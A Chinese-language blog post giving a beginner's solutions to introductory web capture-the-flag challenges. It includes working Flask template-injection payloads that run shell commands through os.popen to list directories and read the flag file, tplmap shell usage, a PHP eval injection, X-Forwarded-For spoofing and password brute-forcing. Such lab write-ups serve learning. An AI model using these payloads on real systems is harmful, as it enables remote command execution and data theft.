Simple_SSTI_1:
最近也是刚入门web 也是小白一枚 ,写点自己得做题思路和经验,有不好得地方也请大家反馈和监督。
首先先看一下源代码,这句话得意思是让我们传参flag 参数,F12 看源代码
提示我们flask 经常设置一个secret_key 变量
第一次做也不知道啥意思去了解一下pyhon得flask框架 轻量级得web框架
根据题目提示SSTL 知道这是一个模板注入
SECRET_KEY:是flask 一个重要得配置值 需要用这个来加密
/?flag={{config.SECRET_KEY}} (注意大小写)
Simple_SSTI_2:
和上面一样的 也是模板注入 试了刚刚得传参发现不行
class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
init 初始化类,返回的类型是function
globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。 ##open() 方法用于打开一个文件,并返回文件对象
https://www.cnblogs.com/xiaochaofang/p/14533709.html (上面的参数解释来源于这一篇)
看了一篇这个 理解了一下参数得意思 ls查看一下
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
1
列出了很多 的文件夹 也不知道哪个里面有flag 一个一个试 运气好第一个app就是
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
1
因为没有过滤直接cat ../app/flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
1
还有一种方法:这里使用 tplmap 工具 (支持python2)
git clone https://github.com/epinna/tplmap
1
使用方法:./tplmap.py -u <‘目标网址’> -os -shell选项与tplmap命令一起使用
列出文件夹 cat 文件夹直接可以 查看flag
Flask_FileUpload:
是一个上传点,F12有提示 关键字是只能上传 jpg 和 png 格式 ,
还有就是黄色字的提示(给我这个文件,我会用python把运行结果返回给你!)
新建一个txt 然后写入 一串python的操作系统调用命令 查看flag 后缀改为图片格式即可 。
滑稽:
直接F12 查看源代码 即可看到flag (就是有点费眼睛,滑稽=.=)
计算器:
直接F12查看源代码 然后修改 maxlength=“xx” 大于输出结果即可 随便改都可以 只要大于一就行。
GET:
通过url传入what的值,让其等于flag,直接构造url就得到flag。
POST:
矛盾:
即num既不能是数字字符,但是要等于1,我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1因此
构造payload num=1e0.1
alert:
是一个弹窗 F12 找到一些线索,估计是编码,看了一下下面的评论知道是Unicode编码
http://tool.chinaz.com/tools/unicode.aspx?qq-pf-to=pcqq.group(Unicode码转ASCII码)
你必须让他停下:
发现是一个一直在闪的页面 使用bp 抓包 发送到requencer --send 随便点几下在 到10.jpg 发现了flag
game1:
就挺好玩的,玩个两盘热热身 开始做题了 ,咳咳 游戏结束先抓个包
这里的sign显示是加密的。这里是zMNTA,这里我好几次都是zM开头的 ==结束的,查看源代码。
由此可得sign值由三个部分组成 zM +base64编码+==
score.php?score=999999&ip=223.91.4.87&sign=zMOTk5OTk5==
1
网站被黑:
使用御剑扫一下后台 有个shell.php 密码是 hack 弱口令
本地管理员:
F12 看源代码 有个base64 的 提示 就是登入的账号密码 提示 ip 禁止访问 使用bp抓个包 然后在包里面添加 X-Forwarded-For: 127.0.0.1
bp:
弱密码top1000?z??? 根据给的提示 bp抓包 进行暴力破解 进行长度判断 最后得到密码zxc123 然后登入 即可获取 flag 。
字典下载链接:http://www.yesck.com/down/TOP1000password.txt(百度找到,这种字典网上一大堆随便找)
eval:
<?php
include "flag.php"; ///include是将flag.php文件包含进页面代码
$a = @$_REQUEST['hello']; ///$_REQUEST可以用于接受传递POST或GET
eval( "var_dump($a);"); ///eval函数可以把字符串当作php命令执行
show_source(__FILE__);
?>
1
2
3
4
5
6
知道了这串代码啥意思我们就可以 写个payload 方法有很多种 做出来即可
ip/?hello=file('flag.php')
1
变量1:
虽然没有怎么学过php 大概看得懂 可以猜想 $ args很有可能是一个数组,想到会是超全局变量$GLOBALS
通过构造一个GET参数,直接传GET一个全局变量即可
?args=GLOBALS
1
头等舱:
确实什么都没有 bp抓包 send 即可
————————————————
版权声明:本文为CSDN博主「落寞的魚丶」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Aluxian_/article/details/122056093